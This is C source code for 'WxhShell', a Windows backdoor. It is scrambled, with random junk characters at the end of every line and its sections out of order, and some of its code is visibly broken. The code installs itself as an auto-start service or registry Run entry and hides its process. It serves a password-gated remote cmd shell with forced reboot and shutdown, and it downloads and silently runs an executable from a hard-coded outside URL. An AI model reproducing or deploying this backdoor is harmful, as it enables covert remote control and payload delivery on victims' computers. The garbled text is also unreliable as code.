    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1FD7~S|  
    if(Boot(SHUTDOWN)) 4lY&=_K[)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  g`)/x\  
    else { (iCZz{l@~  
    closesocket(wsh); OP|.I._I  
    ExitThread(0); iC\rhHKQ  
    } KM_)7?`  
    break; Gh$y#0qr  
    } &v3D" J  
  // 获取shell  '{j\0  
  case 's': { 1&8j3"  
    CmdShell(wsh); ~4=]%XYz  
    closesocket(wsh); Sr ztTfY  
    ExitThread(0); aR="5{en{:  
    break; Io,/ +#|  
  } I*+LJy;j  
  // 退出 -~( 0O  
  case 'x': { %67G]?EXB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F,L82N6\U  
    CloseIt(wsh); 'FPcAW^8  
    break; q19k<BqR  
    } =A0"0D{\  
  // 离开 ONr?.MJ6j  
  case 'q': { u n?j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {UX"Epd);n  
    closesocket(wsh); 0^<Skm27"  
    WSACleanup(); H7z>S G0  
    exit(1); NSMjr_  
    break; <?> I\  
        } |aI|yq)  
  } 5(iSOsb  
  } RQj`9F  
LT,iS)dY+  
  // 提示信息 27Kc -rcB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v5&xY2RI7  
} %Lh-aP{[e  
  } Hl^aUp.c  
vpeq:h  
  return; k8InbX[  
} ]97Xu_  
q5:0&:m$4$  
// shell模块句柄 rt5oRf:wY  
int CmdShell(SOCKET sock) K:>NGGY8r  
{ 8FO1`%8Oe  
STARTUPINFO si; ql!5m\  
ZeroMemory(&si,sizeof(si)); ;x!,g5q"q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vO}qjw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t/v@vJ`vSH  
PROCESS_INFORMATION ProcessInfo; !7:EE,W~  
char cmdline[]="cmd"; ^Ei*M0fF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 92P ,:2`a  
  return 0; 4&FNU)tt  
} >%iu!H"  
cOzg/~\1  
// 自身启动模式 +l2e[P+qA  
int StartFromService(void) x><zGXvvp|  
{  4 "pS  
typedef struct Bl kSWW/  
{ #t"9TP  
  DWORD ExitStatus; KcIc'G 9  
  DWORD PebBaseAddress; (/T +Wpy?  
  DWORD AffinityMask; t!6\7Vm/  
  DWORD BasePriority; tpv?`(DDU  
  ULONG UniqueProcessId; r:fwrC  
  ULONG InheritedFromUniqueProcessId; H/cs_i  
}   PROCESS_BASIC_INFORMATION; ?~F]@2)5w  
jG+T.  
PROCNTQSIP NtQueryInformationProcess; O"@?U  
Z 7`5x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I?f"<5[0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eem 2qKj  
rER~P\-  
  HANDLE             hProcess; {@Blj3;w}  
  PROCESS_BASIC_INFORMATION pbi; fdd~e52f  
! a86iHU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n (OjjR m  
  if(NULL == hInst ) return 0; l)}<#Ri  
@)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IetCMp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r`?&m3IOP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fy9uLl}h  
{]+ jL1  
  if (!NtQueryInformationProcess) return 0; B#J{F  
"\NF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jIKBgsiF/  
  if(!hProcess) return 0; q A.+U:I8  
Q]!6uA$A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x2Ha&   
aLV~|$: 2  
  CloseHandle(hProcess); 6(:)otz  
D5=C^`$2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LOe4c0C6Ca  
if(hProcess==NULL) return 0; !>\9t9  
[`q.A`Fd  
HMODULE hMod; "K 8nxnq  
char procName[255];  }K?F7cD  
unsigned long cbNeeded; `$H7KIG  
pH^ z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4 uShM0qa  
[qSQ#Qzi2i  
  CloseHandle(hProcess); RTA%hCr!  
6!@0VI&P  
if(strstr(procName,"services")) return 1; // 以服务启动 HP#ki!'  
&/HoSj>HS  
  return 0; // 注册表启动 2ed@HJu  
} %@>YNPD`E  
yz2(_@R  
// 主模块 'HCnB]1  
int StartWxhshell(LPSTR lpCmdLine) NOV.Bs{ yL  
{ V_jiOT!  
  SOCKET wsl;  j|ozGO  
BOOL val=TRUE; )ukF3;Gt  
  int port=0; nz>K{(  
  struct sockaddr_in door; CK=ARh#|  
f7.m=lbe  
  if(wscfg.ws_autoins) Install(); 5H~@^!7t  
K@HLIuz4t  
port=atoi(lpCmdLine); (Bsw/wv  
R!9qQn?  
if(port<=0) port=wscfg.ws_port; f]c <9Q>*  
)mj<{Td`  
  WSADATA data; >cTjA):  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aJa.U^1{  
FbmsN)mv!%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [~t yDLC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s~=g*99H  
  door.sin_family = AF_INET; D]jkR} t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (VEp~BW@-R  
  door.sin_port = htons(port); sLNNcj(Cy>  
_O LI%o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GZ <nXU>  
closesocket(wsl); |ebvx?\  
return 1; 2HSb.&7-G  
} %oR>Uo  
} +1'{B"I  
  if(listen(wsl,2) == INVALID_SOCKET) { CPVmF$A-  
closesocket(wsl); j|k @MfA  
return 1; (xbIUz.  
} CGkI\E  
  Wxhshell(wsl); BK*z 4m  
  WSACleanup(); 3hLqAj  
L*9H#%3  
return 0;  ; HP#bx  
0_Lm#fE U  
} Rh[Ibm56  
sSz%V[X WL  
// 以NT服务方式启动 T30Zk*V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M.S s: ttj  
{ r 3|4gG  
DWORD   status = 0; loBtd%wY  
  DWORD   specificError = 0xfffffff; e+l\\9v  
dGU8+)2cn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $M39 #a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0`6),R'x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hxn<(gd G  
  serviceStatus.dwWin32ExitCode     = 0; #>XeR>T  
  serviceStatus.dwServiceSpecificExitCode = 0; v~f'K3fLp  
  serviceStatus.dwCheckPoint       = 0; \1]rlzXGUT  
  serviceStatus.dwWaitHint       = 0; z(rK^RT  
1TIlINlJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t{6ap+%L  
  if (hServiceStatusHandle==0) return; nGns}\!7'  
=!<^^6LZ  
status = GetLastError(); ld95[cTP  
  if (status!=NO_ERROR) Hsgy'X%om  
{ s%^o*LQ|9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )@_ugW-j  
    serviceStatus.dwCheckPoint       = 0; Fe5jdV<  
    serviceStatus.dwWaitHint       = 0; ^&-a/'D$,  
    serviceStatus.dwWin32ExitCode     = status; UUH;L  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ o " L;j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -~\f2'Q  
    return; BJgDo  
  } F3Dt7q  
,z[(k"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ewym 1}o  
  serviceStatus.dwCheckPoint       = 0; 7 v~ro  
  serviceStatus.dwWaitHint       = 0; VKNp,Lf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p/3BD&6  
} Y1WHy *s?  
|(RZ/d<X\a  
// 处理NT服务事件,比如:启动、停止 5uttv:@=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H]]c9`ayt  
{ fnWsm4  
switch(fdwControl) Y&g&n o_  
{ y1#O%=g  
case SERVICE_CONTROL_STOP: `s%QeAde  
  serviceStatus.dwWin32ExitCode = 0; vd(dNu&,<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4w;~4#ZPp  
  serviceStatus.dwCheckPoint   = 0; O_AGMW/2+  
  serviceStatus.dwWaitHint     = 0; ZV( w  
  { p[-{]!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `.8UKSH+  
  } vhpvO >Q  
  return; (Q_2ODKo  
case SERVICE_CONTROL_PAUSE: i. M2E$b|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yl/a:Q  
  break; ^j=bObaX  
case SERVICE_CONTROL_CONTINUE: :<%vE!$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lhxdx    
  break; ^yJ:+m;6K  
case SERVICE_CONTROL_INTERROGATE: J=9#mOcg"  
  break; AerFgQiS  
}; t%$@fjz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !+KhFC&Py  
} ,E9d\+j  
(tKMBxQo8  
// 标准应用程序主函数 |!}wF}iLc)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Up|f=@=  
{ ^mfjn-=3  
`)tA YH  
// 获取操作系统版本 }dKLMNqPA  
OsIsNt=GetOsVer(); uLK(F B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rN#\AN  
6pm~sD  
  // 从命令行安装 q% E C  
  if(strpbrk(lpCmdLine,"iI")) Install(); aS/`A  
!Rqx2Q  
  // 下载执行文件 ^Plc}W7h  
if(wscfg.ws_downexe) { 75AslL?t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LM6]kll  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8t[t{"  
} tT-=hDw  
@n@g)`  
if(!OsIsNt) { Y|RdzC M  
// 如果时win9x,隐藏进程并且设置为注册表启动 R@n5AN(  
HideProc(); 8Zw]f-5x\  
StartWxhshell(lpCmdLine); >UWStzH<  
} ]/44Ygz/  
else a.,i.2  
  if(StartFromService()) DqlK.  
  // 以服务方式启动 } # Xi`<{  
  StartServiceCtrlDispatcher(DispatchTable); QiU_hz6?v  
else [gZDQcU  
  // 普通方式启动 @woC8X  
  StartWxhshell(lpCmdLine); VDa|U9N  
a( |xw  
return 0; +?V0:Kz]  
} @yKZRwg  
jsdBd2Gdc  
" 5|\X<f  
BKZ v9  
=========================================== -l JYr/MSL  
tBv3~Of.  
 (YrR8  
WW6yFriuW  
ugxw!cj  
HamEIL-l.  
" 50,Y  
Ut_mrb+W  
#include <stdio.h> S.hC$0vrj  
#include <string.h> MWhwMj!:m  
#include <windows.h> !qw4mN  
#include <winsock2.h> {+\'bIV[  
#include <winsvc.h> `j:M)2:*y  
#include <urlmon.h> 0I^Eo|  
u<kD}  
#pragma comment (lib, "Ws2_32.lib") Mciq-c)  
#pragma comment (lib, "urlmon.lib") 1LyT7h  
+f|6AeE  
#define MAX_USER   100 // 最大客户端连接数 |Ng"C`$oqv  
#define BUF_SOCK   200 // sock buffer <`+zvUx^?  
#define KEY_BUFF   255 // 输入 buffer $+TYvA'N  
ls]H6z*q  
#define REBOOT     0   // 重启 :MBS>owR  
#define SHUTDOWN   1   // 关机 (H1lqlVWV#  
B52H(sm  
#define DEF_PORT   5000 // 监听端口 HL8(lPgS  
avBua6i'  
#define REG_LEN     16   // 注册表键长度 xKb"p4k9d  
#define SVC_LEN     80   // NT服务名长度 Qg>0G%cXU  
gD1+]am  
// 从dll定义API ~lk@6{`l|1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #s{aulx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `VXZ khm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /Zx8nx'{V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $l#{_~ "m7  
&SrGh$:X  
// wxhshell配置信息 6WO7+M;z  
struct WSCFG { K plM['uF  
  int ws_port;         // 监听端口 E\iJP^n  
  char ws_passstr[REG_LEN]; // 口令 [ t$AavU.  
  int ws_autoins;       // 安装标记, 1=yes 0=no QXB|!'  
  char ws_regname[REG_LEN]; // 注册表键名 _ .!aBy%xf  
  char ws_svcname[REG_LEN]; // 服务名 {wv&t R;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K9*IA@xL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `[bJYZBc2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hk.yR1Y|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qPUA!-'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p_9g|B0D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hbH#Co~o4#  
"8?TSm8  
}; Vq U|kv  
=+4 _j  
// default Wxhshell configuration vs\|rLa  
struct WSCFG wscfg={DEF_PORT, ]/[0O+B?  
    "xuhuanlingzhe", ]'e A O  
    1, }biCQ*{'  
    "Wxhshell", F:,#?  
    "Wxhshell", |e+aZ%g  
            "WxhShell Service", VAg68 EbnF  
    "Wrsky Windows CmdShell Service", . wmkj  
    "Please Input Your Password: ", {?y<%@  
  1, /vy?L\`)#  
  "http://www.wrsky.com/wxhshell.exe", @C07k^j=U  
  "Wxhshell.exe" ]xYayN!n  
    }; Gn[*?=Vy  
cPJ7E  
// 消息定义模块 d{3I.$ThH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  qJURPK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .5N Zf4:C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &#Wkww&Y  
char *msg_ws_ext="\n\rExit."; }I)z7l.  
char *msg_ws_end="\n\rQuit."; $^ubo5%  
char *msg_ws_boot="\n\rReboot..."; YMK>+y[+4  
char *msg_ws_poff="\n\rShutdown..."; "d2LyQy  
char *msg_ws_down="\n\rSave to "; zG<0CZQ8  
VD9J}bgJ  
char *msg_ws_err="\n\rErr!"; K]9tc)  
char *msg_ws_ok="\n\rOK!"; $M-NR||k  
T*8_FR<  
char ExeFile[MAX_PATH]; ZRUh/<\[  
int nUser = 0; }Py<qXH  
HANDLE handles[MAX_USER]; zQn//7#-G  
int OsIsNt; M{G$Pk8[  
s 8Jj6V  
SERVICE_STATUS       serviceStatus; W!y)Ho  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vmMV n-\#  
<jg8y'm@0  
// 函数声明 "AV1..mu  
int Install(void); tG_-;03<`4  
int Uninstall(void); %@o&*pF^,  
int DownloadFile(char *sURL, SOCKET wsh); z(#=tC|  
int Boot(int flag); qq/_yt  
void HideProc(void); ?F9hDLX  
int GetOsVer(void); 'H|;%J6d>  
int Wxhshell(SOCKET wsl); jzT;,4poy  
void TalkWithClient(void *cs);  5=*@l  
int CmdShell(SOCKET sock); B{^`8Htrn  
int StartFromService(void); r,QJG$ Jo  
int StartWxhshell(LPSTR lpCmdLine); X E!2Q7Q9  
.HQVj'g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a pKa4nI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >c&4_?d&,A  
3 LT+9ad2d  
// 数据结构和表定义 Wn2Ny jX  
SERVICE_TABLE_ENTRY DispatchTable[] = neK*jdaP  
{ [f /v LLK  
{wscfg.ws_svcname, NTServiceMain}, 9UB??049z  
{NULL, NULL} vR<fdV  
}; "9TxK6  
PXOq#  
// 自我安装 t%0r"bTi  
int Install(void) f2BS[$oV4  
{ nomu$|I  
  char svExeFile[MAX_PATH]; uPM8GIvZX.  
  HKEY key; ^)(G(=-Rf  
  strcpy(svExeFile,ExeFile); c1gz #,  
rE!G,^_{  
// 如果是win9x系统,修改注册表设为自启动 V]+o)A$  
if(!OsIsNt) { ru#T^AI*^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tn(f rccy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |`N$>9qN  
  RegCloseKey(key); #nxER   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @1/Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \VoB=Ac&  
  RegCloseKey(key); 9_g>BI;"8  
  return 0; n0Qh9*h  
    } t;Fbt("]:  
  } <=B1"'\  
} $8<j5%/ $M  
else { i{%z  
>w%d'e$  
// 如果是NT以上系统,安装为系统服务 e'}ePvN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P wt ?9I  
if (schSCManager!=0) awj}K  
{ hfl%r9o  
  SC_HANDLE schService = CreateService * K0j5dx  
  ( +MOe{:/6  
  schSCManager, o|b[(t$;O  
  wscfg.ws_svcname, Ww a41z  
  wscfg.ws_svcdisp, j SUAU}u!M  
  SERVICE_ALL_ACCESS, < -@,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \N'hbT=  
  SERVICE_AUTO_START, 1FXzAc(c!  
  SERVICE_ERROR_NORMAL, iXr`0V   
  svExeFile, ~T;a jvJ  
  NULL, Zu [?'  
  NULL, u"Hd55"&  
  NULL, Y_|K,T6Zj@  
  NULL, "63zc 1  
  NULL sqMNon`5  
  ); 5VoOJ_hq  
  if (schService!=0) @xW"rX#7f  
  { `E4!u=%  
  CloseServiceHandle(schService); *`QdkVER  
  CloseServiceHandle(schSCManager); h0Sy'] 3m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rH#c:BwSm  
  strcat(svExeFile,wscfg.ws_svcname); W?4&lC^G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4cVs(`g^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /ut~jf`  
  RegCloseKey(key); {Vt^Xc  
  return 0; #1,>Qnl  
    } lO5gkOJ?  
  } TS~Y\Cp  
  CloseServiceHandle(schSCManager); F] dd>#  
} 5,=B1  
} 8g2-8pa{  
L(!!7B_,  
return 1; r-\T}e2Gz  
} yEw"8u'  
%gne%9nn  
// 自我卸载 2gC&R1 H  
int Uninstall(void) \4`saM /x  
{ k1LtqV  
  HKEY key; _sf0{/< )  
X~Rk ,d3  
if(!OsIsNt) { Zc' >}X[G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u;'<- _  
  RegDeleteValue(key,wscfg.ws_regname); "DcueU#!  
  RegCloseKey(key); 8ZDqqz^C0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &:e}4/G  
  RegDeleteValue(key,wscfg.ws_regname); T0]%(F/8  
  RegCloseKey(key);  >Wr   
  return 0; 65`'Upu  
  } Gad2EEZ%0  
} %\z COfN  
} :x*|lz[  
else { L_zmU_zD  
dnWt\>6& 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uI:3$  
if (schSCManager!=0) )zc8bS  
{ 39a]B`y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xf F&$K"  
  if (schService!=0) % OfDTs  
  { .V)2Tz  
  if(DeleteService(schService)!=0) { _%p9 B#X<>  
  CloseServiceHandle(schService); vdFQf ^l  
  CloseServiceHandle(schSCManager); p7=^m>Z6  
  return 0; d`q)^  
  } 3TvhOC>yG  
  CloseServiceHandle(schService); $j4?'-i=e  
  } 1r:fxZO\Vd  
  CloseServiceHandle(schSCManager); U%PMV?L{  
} *,*:6^t  
} M(]|}%  
RKJWLofX&  
return 1; ZWe$(?  
} CbvL X="%  
o-i.'L)X  
// 从指定url下载文件 )yH#*~X_   
int DownloadFile(char *sURL, SOCKET wsh) nF[eb{GR`  
{ YU\t+/b  
  HRESULT hr; uKAHJ$%  
char seps[]= "/"; HE<%d  
char *token; w.F3o4YP  
char *file; >_% g8T'  
char myURL[MAX_PATH]; kC#B7*[RM  
char myFILE[MAX_PATH]; Dlsa(  
cXE y>U|/  
strcpy(myURL,sURL); C5z  
  token=strtok(myURL,seps); [x()^{;2  
  while(token!=NULL) 6!=9V0G~  
  { ::b;4Q L  
    file=token; J-{E`ibGN  
  token=strtok(NULL,seps); eDZ3SIZ  
  } Hx/Vm`pRyX  
o;-! ?uJ  
GetCurrentDirectory(MAX_PATH,myFILE); z+B  
strcat(myFILE, "\\"); YG+ Yb{^"  
strcat(myFILE, file); ]CJ>iS!V  
  send(wsh,myFILE,strlen(myFILE),0); /OtQk -E  
send(wsh,"...",3,0); fOfz^W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j%<@ui u  
  if(hr==S_OK) %;B'>$O  
return 0; 2/gj@>dt  
else tKViM@T  
return 1; AhZ  
#IJKMSGw?E  
} PbH]K$mj{"  
O g~"+IGp  
// 系统电源模块 t/BiZo|zl  
int Boot(int flag) `^h##WaXap  
{ 6$;)CO!h  
  HANDLE hToken; *Bz&  
  TOKEN_PRIVILEGES tkp; *==nOO9G  
TBp5xz`  
  if(OsIsNt) { ]/naH#8G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b,A1(_pzi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %NoZf^ ?  
    tkp.PrivilegeCount = 1; Z'kYf   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4hz,F/ I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vwD(J.;  
if(flag==REBOOT) { 3c6)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wd0ACF  
  return 0; iKKWn*u  
} KO"iauW  
else { $B/cj^3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \F3t&:  
  return 0; wfzb:Aig`  
} a5&j=3)|  
  } g?M69~G$:x  
  else { Agf!6kh  
if(flag==REBOOT) { FZ/&[;E!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J[AgOUc  
  return 0; Or|LyQU  
} L  *@>/N  
else { [J 3;U6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F,:VL*.5kJ  
  return 0; t,6=EK*3T  
} 1OL~)X3  
} \ed(<e>  
RwKN  
return 1; ZQ/5]]}3y  
} P.7B]&T6  
uuB\~ #?T  
// win9x进程隐藏模块 ;0E 4S  
void HideProc(void) K-5)Y+| >  
{ p(>'4#|qy  
Y8(yOVy9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @gz?T;EC  
  if ( hKernel != NULL ) q[ZYlF,Ho  
  { hSH-Ck@Qy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y$^QH.h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y8T.RS0  
    FreeLibrary(hKernel); C5z4%,`f  
  } \ZH=$c*W  
3]P=co@  
return; UHWun I S  
} qE[}Cf]X  
R,lr&;a8  
// 获取操作系统版本 =JkSq J)?  
int GetOsVer(void) G1|:b-C  
{ |zE7W  
  OSVERSIONINFO winfo; u9Ro=#xt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); teb(\% ,  
  GetVersionEx(&winfo); zZ63 P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aHw VoT  
  return 1; AXFVsZH"zi  
  else 8z&9  
  return 0; E J1:N*BA  
} !O*n6}nPE  
JYq} YG=%  
// 客户端句柄模块 t<tBOesQ  
int Wxhshell(SOCKET wsl) M=%p$\x  
{ p-Ju&4fS  
  SOCKET wsh; hS  Sq=(S  
  struct sockaddr_in client; ~n?U{ RmH  
  DWORD myID; )I@iW\`7  
]@EjKgs  
  while(nUser<MAX_USER) =0S7tNut  
{ W7 $yE},z  
  int nSize=sizeof(client); KH-.Z0 2U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W+vm!7wX0  
  if(wsh==INVALID_SOCKET) return 1; O7W}Z1G  
i~4Kek6,I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @gd-lcMYW  
if(handles[nUser]==0) UOyP6ej  
  closesocket(wsh); HDYf^mcW  
else 2mRso.Ah  
  nUser++; <7XdT  
  } +_<# 8v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r?$\`,;  
9iUw7-)  
  return 0; S $Wd}2>  
} GC~::m~  
Aq-v3$XL  
// 关闭 socket 2 Ug jH  
void CloseIt(SOCKET wsh) -M4#dHR_!  
{ z9gZ/d   
closesocket(wsh); A /MOY@%G  
nUser--; aaBBI S  
ExitThread(0); ny}?+&K  
} FUQT,7CA  
,i}"e(f  
// 客户端请求句柄 0 [s1!Cm!i  
void TalkWithClient(void *cs) =LC5o2bLy  
{ T@L^RaPX  
,PB?pp8C}  
  SOCKET wsh=(SOCKET)cs; m+L:\mvA  
  char pwd[SVC_LEN]; =<<\Uo  
  char cmd[KEY_BUFF]; ,yC~{ H  
char chr[1]; :F_U^pyG  
int i,j; _*+M'3&=  
{uw]s< 6  
  while (nUser < MAX_USER) { hAY_dM  
tIg_cY_y  
if(wscfg.ws_passstr) { ,HkJ.6KF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cD 1p5U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @? t)UE  
  //ZeroMemory(pwd,KEY_BUFF); }\9qN!ol  
      i=0; KMZ% 1=a  
  while(i<SVC_LEN) { 2Bx\nLf/ K  
wBr0s *1I  
  // 设置超时 D=3NI  
  fd_set FdRead; ]WS 7l@  
  struct timeval TimeOut; C 9DRVkjj  
  FD_ZERO(&FdRead); a+Z/=YUR  
  FD_SET(wsh,&FdRead); RW3&]l=  
  TimeOut.tv_sec=8; y+c+/L8  
  TimeOut.tv_usec=0; RSp=If+4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zfS`@{;F`|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7{p,<Uz<"U  
f\ Qi()  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Baq&>]  
  pwd=chr[0]; oR5'g7?  
  if(chr[0]==0xd || chr[0]==0xa) { M]oaWQu  
  pwd=0; F&ux9zP  
  break; WXJ%bH  
  } 0(]C$*~mk  
  i++; vzfWPjpKW  
    } huO_ARwK'  
0;)4.*t  
  // 如果是非法用户,关闭 socket y3d`$'7H>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xw`Pq6  
} xgfK0-T|[  
"zv?qS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yAaMYF@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wq]^1g_  
@<h@d_8^k  
while(1) { E-CZk_K9  
HG{OkDx]fl  
  ZeroMemory(cmd,KEY_BUFF); 6m?}oMz  
w?Y;pc}1B  
      // 自动支持客户端 telnet标准   h^cM#L^B  
  j=0; q5Z]Z.%3O  
  while(j<KEY_BUFF) { y4+Km*am,W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H|5\c=  
  cmd[j]=chr[0]; | X! d*4  
  if(chr[0]==0xa || chr[0]==0xd) { x:GuqE  
  cmd[j]=0; Nv w'[?m  
  break; /alJN`g  
  } ).5$c0`U&  
  j++; I vO#tI  
    } ApR>b%  
T=%,^  
  // 下载文件 TF2'-"2Y  
  if(strstr(cmd,"http://")) { zW8rC!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &Yb!j  
  if(DownloadFile(cmd,wsh)) )17CG*K1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^i:%0"[*^i  
  else M] 7#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'b~,/lZd  
  } s,Azcqem  
